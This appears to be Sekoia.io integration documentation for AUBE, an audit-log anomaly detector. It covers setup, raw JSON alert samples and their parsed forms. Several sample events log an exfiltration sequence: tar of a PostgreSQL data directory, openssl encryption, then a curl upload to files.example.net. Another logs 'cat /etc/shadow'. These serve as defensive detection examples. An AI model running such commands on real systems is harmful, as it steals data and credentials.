AUBE

Overview

AUBE detects the misuse of legitimate accounts on servers. Its analysis engine, AUBE Core, compares each period of a server's audit logs (Linux auditd execve records, Windows process events) with the server's own history, and flags the periods whose commands are statistically unusual. Analysts review the flagged periods in AUBE Portal. When an analyst confirms a period as an anomaly, AUBE Portal sends it to Sekoia.io.

• Vendor: AUBE Security
• Supported environment: On premises (AUBE Portal on Red Hat Enterprise Linux 9)
• Version compatibility: AUBE Portal 1.1.0 and later
• Detection based on: Alert (anomalies confirmed by an analyst)
• Supported application or feature: Linux auditd and Windows process events, analysed by AUBE Core

Specification

Prerequisites

• Licence:

  • The SIEM support option of the AUBE Portal licence.

• Permissions:

  • A superuser account in AUBE Portal
  • The right to create intakes in Sekoia.io

• Network:

  • Outbound HTTPS (TCP 443) from the AUBE Portal server to the intake address of your region: intake.sekoia.io for FRA1, intake.<region>.sekoia.io otherwise. An HTTPS proxy can be used.

Transport Protocol/Method

• HTTPS push of JSON events, authenticated with the intake key

Logs details

• Supported functionalities:

  • confirmed_anomaly: a period an analyst confirmed, with the server, the period, its severity and singularity score, the evaluation, and the most singular commands with the users who ran them
  • confirmed_anomaly_withdrawn: the analyst withdrew that confirmation
  • test: a test event sent from AUBE Portal

• Supported type(s) of structure: JSON

• Supported verbosity level: Alert

When AUBE Portal sends an event

In AUBE Portal, the analyst...	Sent to Sekoia.io
sets a period to Confirmed Anomaly	confirmed_anomaly, which raises an alert at the period's severity
later reopens it and sets it to Ignore, Accepted or Approved	confirmed_anomaly_withdrawn, which raises no alert
sets a confirmed period to Resolved, or reopens it	nothing: the anomaly was real

Events wait in a queue in AUBE Portal and are retried while Sekoia.io cannot be reached. Each event links back to the period's evaluation page in AUBE Portal (event.url). Evaluation comments are never sent, and AUBE Portal can send each command's name without its arguments.

Step-by-Step Configuration Procedure

Create the intake in Sekoia.io

1. Go to the Intakes page and click + Intake.
2. Choose AUBE.
3. Give the intake a name and select its entity.
4. Copy the intake key.

Configure AUBE Portal

1. Sign in to AUBE Portal with a superuser account and go to Settings > Integration.
2. Click the Sekoia.io card.
3. Fill in the fields:
   • Sekoia region: the region of your tenant, as in its address (app.sekoia.io is FRA1)
   • Intake key: the key you copied
   • Portal URL: the address your analysts use to open AUBE Portal. Each event links back to it, and its identifier includes this host, so keep it stable.
   • Command lines: Full command lines, or Executable only to send each command's name without its arguments
   • HTTPS proxy (optional): leave blank to connect directly
4. Tick Enable Sekoia.io integration and click Save.
5. Click Send test event.

Note

The Delivery line of the card shows the events pending and failed, the last delivery and the last error. Retry failed sends the failed events again.

Check the events

1. In Sekoia.io, open the Events page and search for the events of your AUBE intake.
2. The test event appears within a minute, with its smart description.

Raw Events Samples

In this section, you will find examples of raw logs as generated natively by the source. These examples are provided to help integrators understand the data format before ingestion into Sekoia.io. It is crucial for setting up the correct parsing stages and ensuring that all relevant information is captured.

confirmed_anomaly_highconfirmed_anomaly_low_windows_domain_userconfirmed_anomaly_medium_ip_hostconfirmed_anomaly_no_top_eventsconfirmed_anomaly_windows_redactedconfirmed_anomaly_withdrawnconfirmed_anomaly_withdrawn_acceptedtest_event

{
    "evaluation": {
        "classification": "data_collection_transfer",
        "history_id": 318,
        "previous_status": "under_investigation",
        "reviewed_at": "2026-10-22T01:05:12+00:00",
        "reviewed_by": "soc.analyst1",
        "status": "confirmed_operational_deviation"
    },
    "event_counts": {
        "irregular": 13,
        "total": 4297
    },
    "event_type": "confirmed_anomaly",
    "event_uid": "c48c252f59befd5dd5ce063a275feddd112acd481329c94d9f74c03c1e8a93cf",
    "group": "finance-prod",
    "period": {
        "end": "2026-10-21T12:00:00+09:00",
        "id": 74,
        "label": "Y2026M10D21h08/h4",
        "length_hours": 4,
        "start": "2026-10-21T08:00:00+09:00",
        "url": "https://aube-portal.example.com/admin/portal/report/47/review/74/"
    },
    "redaction": "none",
    "report": {
        "created_at": "2026-10-21T15:12:03+00:00",
        "id": 47,
        "job_run_id": 42,
        "url": "https://aube-portal.example.com/admin/report/47/view/"
    },
    "schema_version": "1.0",
    "score": {
        "periods_flagged": 3,
        "rank": 1,
        "selection_ratio": 0.8,
        "value": 3.71
    },
    "server": {
        "name": "db01",
        "source_host": "db01.example.com",
        "type": "linux"
    },
    "severity": "critical",
    "top_events": [
        {
            "command_line": "tar czf /tmp/.cache.tgz /var/lib/pgsql/data",
            "executable": "tar",
            "score": 3.71,
            "severity": "critical",
            "time": "2026-10-21T09:41:07.512+09:00",
            "user": "alice"
        },
        {
            "command_line": "openssl enc -aes-256-cbc -in /tmp/.cache.tgz -out /tmp/.c",
            "executable": "openssl",
            "score": 3.52,
            "severity": "critical",
            "time": "2026-10-21T09:42:15.034+09:00",
            "user": "alice"
        },
        {
            "command_line": "curl -s -T /tmp/.c https://files.example.net/u",
            "executable": "curl",
            "score": 3.18,
            "severity": "high",
            "time": "2026-10-21T09:43:02.880+09:00",
            "user": "alice"
        }
    ],
    "users": [
        "alice"
    ],
    "versions": {
        "core": "1.0.41.9",
        "portal": "1.1.0-beta20"
    }
}

{
    "evaluation": {
        "classification": "user_account_management",
        "history_id": 409,
        "previous_status": "under_investigation",
        "reviewed_at": "2026-10-30T00:48:05+00:00",
        "reviewed_by": "soc.analyst1",
        "status": "confirmed_operational_deviation"
    },
    "event_counts": {
        "irregular": 2,
        "total": 15403
    },
    "event_type": "confirmed_anomaly",
    "event_uid": "7978595c2fe2f899d3abf5654e2d46f3c58a24aca2b3f8aa050649eba95fb804",
    "group": "corp-files",
    "period": {
        "end": "2026-10-29T12:00:00+09:00",
        "id": 118,
        "label": "Y2026M10D29h08/h4",
        "length_hours": 4,
        "start": "2026-10-29T08:00:00+09:00",
        "url": "https://aube-portal.example.com/admin/portal/report/64/review/118/"
    },
    "redaction": "none",
    "report": {
        "created_at": "2026-10-29T15:11:30+00:00",
        "id": 64,
        "job_run_id": 59,
        "url": "https://aube-portal.example.com/admin/report/64/view/"
    },
    "schema_version": "1.0",
    "score": {
        "periods_flagged": 1,
        "rank": 1,
        "selection_ratio": 0.8,
        "value": 1.84
    },
    "server": {
        "name": "win-fs02",
        "source_host": "win-fs02.example.com",
        "type": "windows"
    },
    "severity": "low",
    "top_events": [
        {
            "command_line": "C:\\Windows\\System32\\net.exe user bob /domain",
            "executable": "C:\\Windows\\System32\\net.exe",
            "score": 1.84,
            "severity": "low",
            "time": "2026-10-29T09:12:44.501+09:00",
            "user": "EXAMPLE\\bob"
        }
    ],
    "users": [
        "EXAMPLE\\bob"
    ],
    "versions": {
        "core": "1.0.41.9",
        "portal": "1.1.0-beta20"
    }
}

{
    "evaluation": {
        "classification": "troubleshooting",
        "history_id": 402,
        "previous_status": "under_investigation",
        "reviewed_at": "2026-10-29T01:22:10+00:00",
        "reviewed_by": "soc.analyst1",
        "status": "confirmed_operational_deviation"
    },
    "event_counts": {
        "irregular": 4,
        "total": 8812
    },
    "event_type": "confirmed_anomaly",
    "event_uid": "54d9d7a37ac9c427ce1e565532b608936249a365cafabe28accd9ed91dfaa0d1",
    "group": "lab-linux",
    "period": {
        "end": "2026-10-28T04:00:00+09:00",
        "id": 112,
        "label": "Y2026M10D28h02/h2",
        "length_hours": 2,
        "start": "2026-10-28T02:00:00+09:00",
        "url": "https://aube-portal.example.com/admin/portal/report/63/review/112/"
    },
    "redaction": "none",
    "report": {
        "created_at": "2026-10-28T15:08:52+00:00",
        "id": 63,
        "job_run_id": 58,
        "url": "https://aube-portal.example.com/admin/report/63/view/"
    },
    "schema_version": "1.0",
    "score": {
        "periods_flagged": 2,
        "rank": 1,
        "selection_ratio": 0.8,
        "value": 2.37
    },
    "server": {
        "name": "lab-db03",
        "source_host": "192.0.2.10",
        "type": "linux"
    },
    "severity": "medium",
    "top_events": [
        {
            "command_line": "cat /etc/shadow",
            "executable": "/usr/bin/cat",
            "score": 2.37,
            "severity": "medium",
            "time": "2026-10-28T02:41:09.210+09:00",
            "user": "bob"
        },
        {
            "command_line": "id -a",
            "executable": "/usr/bin/id",
            "score": 2.05,
            "severity": "medium",
            "time": "2026-10-28T02:41:30.845+09:00",
            "user": "alice"
        },
        {
            "command_line": "uname -a",
            "executable": "/usr/bin/uname",
            "score": 1.98,
            "severity": "medium",
            "time": "2026-10-28T02:42:02.117+09:00",
            "user": "bob"
        }
    ],
    "users": [
        "alice",
        "bob"
    ],
    "versions": {
        "core": "1.0.41.9",
        "portal": "1.1.0-beta20"
    }
}

{
    "evaluation": {
        "classification": "configuration_change",
        "history_id": 204,
        "previous_status": "under_investigation",
        "reviewed_at": "2026-10-22T08:30:00+00:00",
        "reviewed_by": "ops.lead",
        "status": "confirmed_operational_deviation"
    },
    "event_counts": {
        "irregular": 2,
        "total": 1180
    },
    "event_type": "confirmed_anomaly",
    "event_uid": "3be75aefd365c85d40637c3622e0b413d02cb3b1da273255242d9a690e7c0fc0",
    "group": "web-dmz",
    "period": {
        "end": "2026-09-30T20:00:00+09:00",
        "id": 51,
        "label": "Y2026M09D30h16/h4",
        "length_hours": 4,
        "start": "2026-09-30T16:00:00+09:00",
        "url": "https://aube-portal.example.com/admin/portal/report/31/review/51/"
    },
    "redaction": "none",
    "report": {
        "created_at": "2026-09-30T15:04:41+00:00",
        "id": 31,
        "job_run_id": 29,
        "url": "https://aube-portal.example.com/admin/report/31/view/"
    },
    "schema_version": "1.0",
    "score": {
        "periods_flagged": 1,
        "rank": null,
        "selection_ratio": 0.8,
        "value": null
    },
    "server": {
        "name": "web02",
        "source_host": "web02.example.com",
        "type": "linux"
    },
    "severity": "none",
    "top_events": [],
    "users": [],
    "versions": {
        "core": "1.0.40",
        "portal": "1.1.0-beta20"
    }
}

{
    "evaluation": {
        "classification": "user_account_management",
        "history_id": 297,
        "previous_status": "under_investigation",
        "reviewed_at": "2026-10-21T02:15:40+00:00",
        "reviewed_by": "soc.analyst1",
        "status": "confirmed_operational_deviation"
    },
    "event_counts": {
        "irregular": 5,
        "total": 22874
    },
    "event_type": "confirmed_anomaly",
    "event_uid": "31b52fb98325bc0849f24687c2b374c661191d676396722c7ef60b22e75b8de7",
    "group": "corp-ad",
    "period": {
        "end": "2026-10-20T12:00:00+09:00",
        "id": 88,
        "label": "Y2026M10D20h00/h12",
        "length_hours": 12,
        "start": "2026-10-20T00:00:00+09:00",
        "url": "https://aube-portal.example.com/admin/portal/report/52/review/88/"
    },
    "redaction": "executable_only",
    "report": {
        "created_at": "2026-10-20T15:20:17+00:00",
        "id": 52,
        "job_run_id": 45,
        "url": "https://aube-portal.example.com/admin/report/52/view/"
    },
    "schema_version": "1.0",
    "score": {
        "periods_flagged": 4,
        "rank": 2,
        "selection_ratio": 0.8,
        "value": 2.94
    },
    "server": {
        "name": "win-ad01",
        "source_host": "win-ad01.example.com",
        "type": "windows"
    },
    "severity": "high",
    "top_events": [
        {
            "command_line": null,
            "executable": "net.exe",
            "score": 2.94,
            "severity": "high",
            "time": "2026-10-20T03:00:12.004+09:00",
            "user": "bob"
        },
        {
            "command_line": null,
            "executable": "wbadmin.exe",
            "score": 2.81,
            "severity": "high",
            "time": "2026-10-20T03:00:14.391+09:00",
            "user": "bob"
        }
    ],
    "users": [
        "bob"
    ],
    "versions": {
        "core": "1.0.41.9",
        "portal": "1.1.0-beta20"
    }
}

{
    "evaluation": {
        "classification": "backup_restore",
        "history_id": 325,
        "previous_status": "under_investigation",
        "reviewed_at": "2026-10-22T06:40:03+00:00",
        "reviewed_by": "soc.lead",
        "status": "false_positive"
    },
    "event_counts": {
        "irregular": 13,
        "total": 4297
    },
    "event_type": "confirmed_anomaly_withdrawn",
    "event_uid": "c48c252f59befd5dd5ce063a275feddd112acd481329c94d9f74c03c1e8a93cf",
    "group": "finance-prod",
    "period": {
        "end": "2026-10-21T12:00:00+09:00",
        "id": 74,
        "label": "Y2026M10D21h08/h4",
        "length_hours": 4,
        "start": "2026-10-21T08:00:00+09:00",
        "url": "https://aube-portal.example.com/admin/portal/report/47/review/74/"
    },
    "redaction": "none",
    "report": {
        "created_at": "2026-10-21T15:12:03+00:00",
        "id": 47,
        "job_run_id": 42,
        "url": "https://aube-portal.example.com/admin/report/47/view/"
    },
    "schema_version": "1.0",
    "score": {
        "periods_flagged": 3,
        "rank": 1,
        "selection_ratio": 0.8,
        "value": 3.71
    },
    "server": {
        "name": "db01",
        "source_host": "db01.example.com",
        "type": "linux"
    },
    "severity": "critical",
    "top_events": [
        {
            "command_line": "tar czf /tmp/.cache.tgz /var/lib/pgsql/data",
            "executable": "tar",
            "score": 3.71,
            "severity": "critical",
            "time": "2026-10-21T09:41:07.512+09:00",
            "user": "alice"
        },
        {
            "command_line": "openssl enc -aes-256-cbc -in /tmp/.cache.tgz -out /tmp/.c",
            "executable": "openssl",
            "score": 3.52,
            "severity": "critical",
            "time": "2026-10-21T09:42:15.034+09:00",
            "user": "alice"
        },
        {
            "command_line": "curl -s -T /tmp/.c https://files.example.net/u",
            "executable": "curl",
            "score": 3.18,
            "severity": "high",
            "time": "2026-10-21T09:43:02.880+09:00",
            "user": "alice"
        }
    ],
    "users": [
        "alice"
    ],
    "versions": {
        "core": "1.0.41.9",
        "portal": "1.1.0-beta20"
    }
}

{
    "evaluation": {
        "classification": "system_maintenance",
        "history_id": 331,
        "previous_status": "under_investigation",
        "reviewed_at": "2026-10-22T07:10:44+00:00",
        "reviewed_by": "soc.lead",
        "status": "accepted"
    },
    "event_counts": {
        "irregular": 13,
        "total": 4297
    },
    "event_type": "confirmed_anomaly_withdrawn",
    "event_uid": "c48c252f59befd5dd5ce063a275feddd112acd481329c94d9f74c03c1e8a93cf",
    "group": "finance-prod",
    "period": {
        "end": "2026-10-21T12:00:00+09:00",
        "id": 74,
        "label": "Y2026M10D21h08/h4",
        "length_hours": 4,
        "start": "2026-10-21T08:00:00+09:00",
        "url": "https://aube-portal.example.com/admin/portal/report/47/review/74/"
    },
    "redaction": "none",
    "report": {
        "created_at": "2026-10-21T15:12:03+00:00",
        "id": 47,
        "job_run_id": 42,
        "url": "https://aube-portal.example.com/admin/report/47/view/"
    },
    "schema_version": "1.0",
    "score": {
        "periods_flagged": 3,
        "rank": 1,
        "selection_ratio": 0.8,
        "value": 3.71
    },
    "server": {
        "name": "db01",
        "source_host": "db01.example.com",
        "type": "linux"
    },
    "severity": "critical",
    "top_events": [
        {
            "command_line": "tar czf /tmp/.cache.tgz /var/lib/pgsql/data",
            "executable": "tar",
            "score": 3.71,
            "severity": "critical",
            "time": "2026-10-21T09:41:07.512+09:00",
            "user": "alice"
        },
        {
            "command_line": "openssl enc -aes-256-cbc -in /tmp/.cache.tgz -out /tmp/.c",
            "executable": "openssl",
            "score": 3.52,
            "severity": "critical",
            "time": "2026-10-21T09:42:15.034+09:00",
            "user": "alice"
        },
        {
            "command_line": "curl -s -T /tmp/.c https://files.example.net/u",
            "executable": "curl",
            "score": 3.18,
            "severity": "high",
            "time": "2026-10-21T09:43:02.880+09:00",
            "user": "alice"
        }
    ],
    "users": [
        "alice"
    ],
    "versions": {
        "core": "1.0.41.9",
        "portal": "1.1.0-beta20"
    }
}

{
    "evaluation": {
        "classification": null,
        "history_id": null,
        "previous_status": null,
        "reviewed_at": null,
        "reviewed_by": null,
        "status": "new"
    },
    "event_counts": {
        "irregular": 1,
        "total": 1
    },
    "event_type": "test",
    "event_uid": "075b7451708b4db2b45dcd8cc11cfbacd23ed439662618431143f53ecfed97bd",
    "group": null,
    "period": {
        "end": "2026-10-22T12:00:00+09:00",
        "id": 1,
        "label": "Y2026M10D22h08/h4",
        "length_hours": 4,
        "start": "2026-10-22T08:00:00+09:00",
        "url": null
    },
    "redaction": "none",
    "report": {
        "created_at": "2026-10-22T00:00:00+00:00",
        "id": 1,
        "job_run_id": null,
        "url": null
    },
    "schema_version": "1.0",
    "score": {
        "periods_flagged": 1,
        "rank": 1,
        "selection_ratio": 0.8,
        "value": 1.0
    },
    "server": {
        "name": "aube-portal.example.com",
        "source_host": "aube-portal.example.com",
        "type": "linux"
    },
    "severity": "info",
    "top_events": [
        {
            "command_line": "echo AUBE Portal test event",
            "executable": "echo",
            "score": 1.0,
            "severity": "info",
            "time": "2026-10-22T09:00:00.000+09:00",
            "user": "testuser"
        }
    ],
    "users": [
        "testuser"
    ],
    "versions": {
        "core": "1.0.41.9",
        "portal": "1.1.0-beta20"
    }
}

Detection section

The following section provides information for those who wish to learn more about the detection capabilities enabled by collecting this intake. It includes details about the built-in rule catalog, event categories, and ECS fields extracted from raw events. This is essential for users aiming to create custom detection rules, perform hunting activities, or pivot in the events page.

No related built-in rules was found. This message is automatically generated.

Event Categories

The following table lists the data source offered by this integration.

Data Source	Description
Process monitoring	The most singular commands of the period, with the user who ran them
Process command-line parameters	The command lines of those commands, unless the portal redacts arguments
System calls	AUBE Core analyses the auditd execve records of Linux servers (and process events of Windows servers)

In details, the following table denotes the type of events produced by this integration.

Name	Values
Kind	alert, event
Category	intrusion_detection, process
Type	info

Transformed Events Samples after Ingestion

This section demonstrates how the raw logs will be transformed by our parsers. It shows the extracted fields that will be available for use in the built-in detection rules and hunting activities in the events page. Understanding these transformations is essential for analysts to create effective detection mechanisms with custom detection rules and to leverage the full potential of the collected data.

confirmed_anomaly_high.jsonconfirmed_anomaly_low_windows_domain_user.jsonconfirmed_anomaly_medium_ip_host.jsonconfirmed_anomaly_no_top_events.jsonconfirmed_anomaly_windows_redacted.jsonconfirmed_anomaly_withdrawn.jsonconfirmed_anomaly_withdrawn_accepted.jsontest_event.json

{
    "message": "{\"evaluation\":{\"classification\":\"data_collection_transfer\",\"history_id\":318,\"previous_status\":\"under_investigation\",\"reviewed_at\":\"2026-10-22T01:05:12+00:00\",\"reviewed_by\":\"soc.analyst1\",\"status\":\"confirmed_operational_deviation\"},\"event_counts\":{\"irregular\":13,\"total\":4297},\"event_type\":\"confirmed_anomaly\",\"event_uid\":\"c48c252f59befd5dd5ce063a275feddd112acd481329c94d9f74c03c1e8a93cf\",\"group\":\"finance-prod\",\"period\":{\"end\":\"2026-10-21T12:00:00+09:00\",\"id\":74,\"label\":\"Y2026M10D21h08/h4\",\"length_hours\":4,\"start\":\"2026-10-21T08:00:00+09:00\",\"url\":\"https://aube-portal.example.com/admin/portal/report/47/review/74/\"},\"redaction\":\"none\",\"report\":{\"created_at\":\"2026-10-21T15:12:03+00:00\",\"id\":47,\"job_run_id\":42,\"url\":\"https://aube-portal.example.com/admin/report/47/view/\"},\"schema_version\":\"1.0\",\"score\":{\"periods_flagged\":3,\"rank\":1,\"selection_ratio\":0.8,\"value\":3.71},\"server\":{\"name\":\"db01\",\"source_host\":\"db01.example.com\",\"type\":\"linux\"},\"severity\":\"critical\",\"top_events\":[{\"command_line\":\"tar czf /tmp/.cache.tgz /var/lib/pgsql/data\",\"executable\":\"tar\",\"score\":3.71,\"severity\":\"critical\",\"time\":\"2026-10-21T09:41:07.512+09:00\",\"user\":\"alice\"},{\"command_line\":\"openssl enc -aes-256-cbc -in /tmp/.cache.tgz -out /tmp/.c\",\"executable\":\"openssl\",\"score\":3.52,\"severity\":\"critical\",\"time\":\"2026-10-21T09:42:15.034+09:00\",\"user\":\"alice\"},{\"command_line\":\"curl -s -T /tmp/.c https://files.example.net/u\",\"executable\":\"curl\",\"score\":3.18,\"severity\":\"high\",\"time\":\"2026-10-21T09:43:02.880+09:00\",\"user\":\"alice\"}],\"users\":[\"alice\"],\"versions\":{\"core\":\"1.0.41.9\",\"portal\":\"1.1.0-beta20\"}}",
    "event": {
        "action": "confirmed_anomaly",
        "category": [
            "intrusion_detection",
            "process"
        ],
        "dataset": "aube.anomalies",
        "end": "2026-10-21T03:00:00Z",
        "kind": "alert",
        "reason": "Singular activity on db01.example.com during unit period Y2026M10D21h08/h4",
        "reference": "https://aube-portal.example.com/admin/report/47/view/",
        "risk_score": 3.71,
        "severity": 100,
        "start": "2026-10-20T23:00:00Z",
        "type": [
            "info"
        ],
        "url": "https://aube-portal.example.com/admin/portal/report/47/review/74/"
    },
    "@timestamp": "2026-10-22T01:05:12Z",
    "aube": {
        "evaluation": {
            "classification": "data_collection_transfer",
            "history_id": 318,
            "previous_status": "under_investigation",
            "reviewed_at": "2026-10-22T01:05:12+00:00",
            "reviewed_by": "soc.analyst1",
            "status": "confirmed_operational_deviation"
        },
        "event_counts": {
            "irregular": 13,
            "total": 4297
        },
        "event_uid": "c48c252f59befd5dd5ce063a275feddd112acd481329c94d9f74c03c1e8a93cf",
        "group": "finance-prod",
        "job_run": {
            "id": 42
        },
        "period": {
            "id": 74,
            "label": "Y2026M10D21h08/h4",
            "length_hours": 4
        },
        "portal": {
            "version": "1.1.0-beta20"
        },
        "redaction": "none",
        "report": {
            "created_at": "2026-10-21T15:12:03+00:00",
            "id": 47
        },
        "schema_version": "1.0",
        "score": {
            "periods_flagged": 3,
            "rank": 1,
            "selection_ratio": 0.8
        },
        "server": {
            "name": "db01"
        },
        "severity": "critical",
        "top_events": {
            "command_line": [
                "curl -s -T /tmp/.c https://files.example.net/u",
                "openssl enc -aes-256-cbc -in /tmp/.cache.tgz -out /tmp/.c",
                "tar czf /tmp/.cache.tgz /var/lib/pgsql/data"
            ],
            "executable": [
                "curl",
                "openssl",
                "tar"
            ]
        },
        "users": [
            "alice"
        ]
    },
    "host": {
        "hostname": "db01.example.com",
        "name": "db01.example.com",
        "os": {
            "type": "linux"
        }
    },
    "observer": {
        "product": "AUBE",
        "vendor": "AUBE Security",
        "version": "1.0.41.9"
    },
    "process": {
        "command_line": "tar czf /tmp/.cache.tgz /var/lib/pgsql/data",
        "name": "tar",
        "start": "2026-10-21T00:41:07.512000Z"
    },
    "related": {
        "hosts": [
            "db01.example.com"
        ],
        "user": [
            "alice"
        ]
    },
    "user": {
        "name": "alice"
    }
}

{
    "message": "{\"evaluation\":{\"classification\":\"user_account_management\",\"history_id\":409,\"previous_status\":\"under_investigation\",\"reviewed_at\":\"2026-10-30T00:48:05+00:00\",\"reviewed_by\":\"soc.analyst1\",\"status\":\"confirmed_operational_deviation\"},\"event_counts\":{\"irregular\":2,\"total\":15403},\"event_type\":\"confirmed_anomaly\",\"event_uid\":\"7978595c2fe2f899d3abf5654e2d46f3c58a24aca2b3f8aa050649eba95fb804\",\"group\":\"corp-files\",\"period\":{\"end\":\"2026-10-29T12:00:00+09:00\",\"id\":118,\"label\":\"Y2026M10D29h08/h4\",\"length_hours\":4,\"start\":\"2026-10-29T08:00:00+09:00\",\"url\":\"https://aube-portal.example.com/admin/portal/report/64/review/118/\"},\"redaction\":\"none\",\"report\":{\"created_at\":\"2026-10-29T15:11:30+00:00\",\"id\":64,\"job_run_id\":59,\"url\":\"https://aube-portal.example.com/admin/report/64/view/\"},\"schema_version\":\"1.0\",\"score\":{\"periods_flagged\":1,\"rank\":1,\"selection_ratio\":0.8,\"value\":1.84},\"server\":{\"name\":\"win-fs02\",\"source_host\":\"win-fs02.example.com\",\"type\":\"windows\"},\"severity\":\"low\",\"top_events\":[{\"command_line\":\"C:\\\\Windows\\\\System32\\\\net.exe user bob /domain\",\"executable\":\"C:\\\\Windows\\\\System32\\\\net.exe\",\"score\":1.84,\"severity\":\"low\",\"time\":\"2026-10-29T09:12:44.501+09:00\",\"user\":\"EXAMPLE\\\\bob\"}],\"users\":[\"EXAMPLE\\\\bob\"],\"versions\":{\"core\":\"1.0.41.9\",\"portal\":\"1.1.0-beta20\"}}",
    "event": {
        "action": "confirmed_anomaly",
        "category": [
            "intrusion_detection",
            "process"
        ],
        "dataset": "aube.anomalies",
        "end": "2026-10-29T03:00:00Z",
        "kind": "alert",
        "reason": "Singular activity on win-fs02.example.com during unit period Y2026M10D29h08/h4",
        "reference": "https://aube-portal.example.com/admin/report/64/view/",
        "risk_score": 1.84,
        "severity": 25,
        "start": "2026-10-28T23:00:00Z",
        "type": [
            "info"
        ],
        "url": "https://aube-portal.example.com/admin/portal/report/64/review/118/"
    },
    "@timestamp": "2026-10-30T00:48:05Z",
    "aube": {
        "evaluation": {
            "classification": "user_account_management",
            "history_id": 409,
            "previous_status": "under_investigation",
            "reviewed_at": "2026-10-30T00:48:05+00:00",
            "reviewed_by": "soc.analyst1",
            "status": "confirmed_operational_deviation"
        },
        "event_counts": {
            "irregular": 2,
            "total": 15403
        },
        "event_uid": "7978595c2fe2f899d3abf5654e2d46f3c58a24aca2b3f8aa050649eba95fb804",
        "group": "corp-files",
        "job_run": {
            "id": 59
        },
        "period": {
            "id": 118,
            "label": "Y2026M10D29h08/h4",
            "length_hours": 4
        },
        "portal": {
            "version": "1.1.0-beta20"
        },
        "redaction": "none",
        "report": {
            "created_at": "2026-10-29T15:11:30+00:00",
            "id": 64
        },
        "schema_version": "1.0",
        "score": {
            "periods_flagged": 1,
            "rank": 1,
            "selection_ratio": 0.8
        },
        "server": {
            "name": "win-fs02"
        },
        "severity": "low",
        "top_events": {
            "command_line": [
                "C:\\Windows\\System32\\net.exe user bob /domain"
            ],
            "executable": [
                "C:\\Windows\\System32\\net.exe"
            ]
        },
        "users": [
            "EXAMPLE\\bob"
        ]
    },
    "host": {
        "hostname": "win-fs02.example.com",
        "name": "win-fs02.example.com",
        "os": {
            "type": "windows"
        }
    },
    "observer": {
        "product": "AUBE",
        "vendor": "AUBE Security",
        "version": "1.0.41.9"
    },
    "process": {
        "command_line": "C:\\Windows\\System32\\net.exe user bob /domain",
        "executable": "C:\\Windows\\System32\\net.exe",
        "name": "net.exe",
        "start": "2026-10-29T00:12:44.501000Z"
    },
    "related": {
        "hosts": [
            "win-fs02.example.com"
        ],
        "user": [
            "bob"
        ]
    },
    "user": {
        "domain": "EXAMPLE",
        "name": "bob"
    }
}

{
    "message": "{\"evaluation\":{\"classification\":\"troubleshooting\",\"history_id\":402,\"previous_status\":\"under_investigation\",\"reviewed_at\":\"2026-10-29T01:22:10+00:00\",\"reviewed_by\":\"soc.analyst1\",\"status\":\"confirmed_operational_deviation\"},\"event_counts\":{\"irregular\":4,\"total\":8812},\"event_type\":\"confirmed_anomaly\",\"event_uid\":\"54d9d7a37ac9c427ce1e565532b608936249a365cafabe28accd9ed91dfaa0d1\",\"group\":\"lab-linux\",\"period\":{\"end\":\"2026-10-28T04:00:00+09:00\",\"id\":112,\"label\":\"Y2026M10D28h02/h2\",\"length_hours\":2,\"start\":\"2026-10-28T02:00:00+09:00\",\"url\":\"https://aube-portal.example.com/admin/portal/report/63/review/112/\"},\"redaction\":\"none\",\"report\":{\"created_at\":\"2026-10-28T15:08:52+00:00\",\"id\":63,\"job_run_id\":58,\"url\":\"https://aube-portal.example.com/admin/report/63/view/\"},\"schema_version\":\"1.0\",\"score\":{\"periods_flagged\":2,\"rank\":1,\"selection_ratio\":0.8,\"value\":2.37},\"server\":{\"name\":\"lab-db03\",\"source_host\":\"192.0.2.10\",\"type\":\"linux\"},\"severity\":\"medium\",\"top_events\":[{\"command_line\":\"cat /etc/shadow\",\"executable\":\"/usr/bin/cat\",\"score\":2.37,\"severity\":\"medium\",\"time\":\"2026-10-28T02:41:09.210+09:00\",\"user\":\"bob\"},{\"command_line\":\"id -a\",\"executable\":\"/usr/bin/id\",\"score\":2.05,\"severity\":\"medium\",\"time\":\"2026-10-28T02:41:30.845+09:00\",\"user\":\"alice\"},{\"command_line\":\"uname -a\",\"executable\":\"/usr/bin/uname\",\"score\":1.98,\"severity\":\"medium\",\"time\":\"2026-10-28T02:42:02.117+09:00\",\"user\":\"bob\"}],\"users\":[\"alice\",\"bob\"],\"versions\":{\"core\":\"1.0.41.9\",\"portal\":\"1.1.0-beta20\"}}",
    "event": {
        "action": "confirmed_anomaly",
        "category": [
            "intrusion_detection",
            "process"
        ],
        "dataset": "aube.anomalies",
        "end": "2026-10-27T19:00:00Z",
        "kind": "alert",
        "reason": "Singular activity on 192.0.2.10 during unit period Y2026M10D28h02/h2",
        "reference": "https://aube-portal.example.com/admin/report/63/view/",
        "risk_score": 2.37,
        "severity": 50,
        "start": "2026-10-27T17:00:00Z",
        "type": [
            "info"
        ],
        "url": "https://aube-portal.example.com/admin/portal/report/63/review/112/"
    },
    "@timestamp": "2026-10-29T01:22:10Z",
    "aube": {
        "evaluation": {
            "classification": "troubleshooting",
            "history_id": 402,
            "previous_status": "under_investigation",
            "reviewed_at": "2026-10-29T01:22:10+00:00",
            "reviewed_by": "soc.analyst1",
            "status": "confirmed_operational_deviation"
        },
        "event_counts": {
            "irregular": 4,
            "total": 8812
        },
        "event_uid": "54d9d7a37ac9c427ce1e565532b608936249a365cafabe28accd9ed91dfaa0d1",
        "group": "lab-linux",
        "job_run": {
            "id": 58
        },
        "period": {
            "id": 112,
            "label": "Y2026M10D28h02/h2",
            "length_hours": 2
        },
        "portal": {
            "version": "1.1.0-beta20"
        },
        "redaction": "none",
        "report": {
            "created_at": "2026-10-28T15:08:52+00:00",
            "id": 63
        },
        "schema_version": "1.0",
        "score": {
            "periods_flagged": 2,
            "rank": 1,
            "selection_ratio": 0.8
        },
        "server": {
            "name": "lab-db03"
        },
        "severity": "medium",
        "top_events": {
            "command_line": [
                "cat /etc/shadow",
                "id -a",
                "uname -a"
            ],
            "executable": [
                "/usr/bin/cat",
                "/usr/bin/id",
                "/usr/bin/uname"
            ]
        },
        "users": [
            "alice",
            "bob"
        ]
    },
    "host": {
        "ip": [
            "192.0.2.10"
        ],
        "name": "192.0.2.10",
        "os": {
            "type": "linux"
        }
    },
    "observer": {
        "product": "AUBE",
        "vendor": "AUBE Security",
        "version": "1.0.41.9"
    },
    "process": {
        "command_line": "cat /etc/shadow",
        "executable": "/usr/bin/cat",
        "name": "cat",
        "start": "2026-10-27T17:41:09.210000Z"
    },
    "related": {
        "ip": [
            "192.0.2.10"
        ],
        "user": [
            "bob"
        ]
    },
    "user": {
        "name": "bob"
    }
}

{
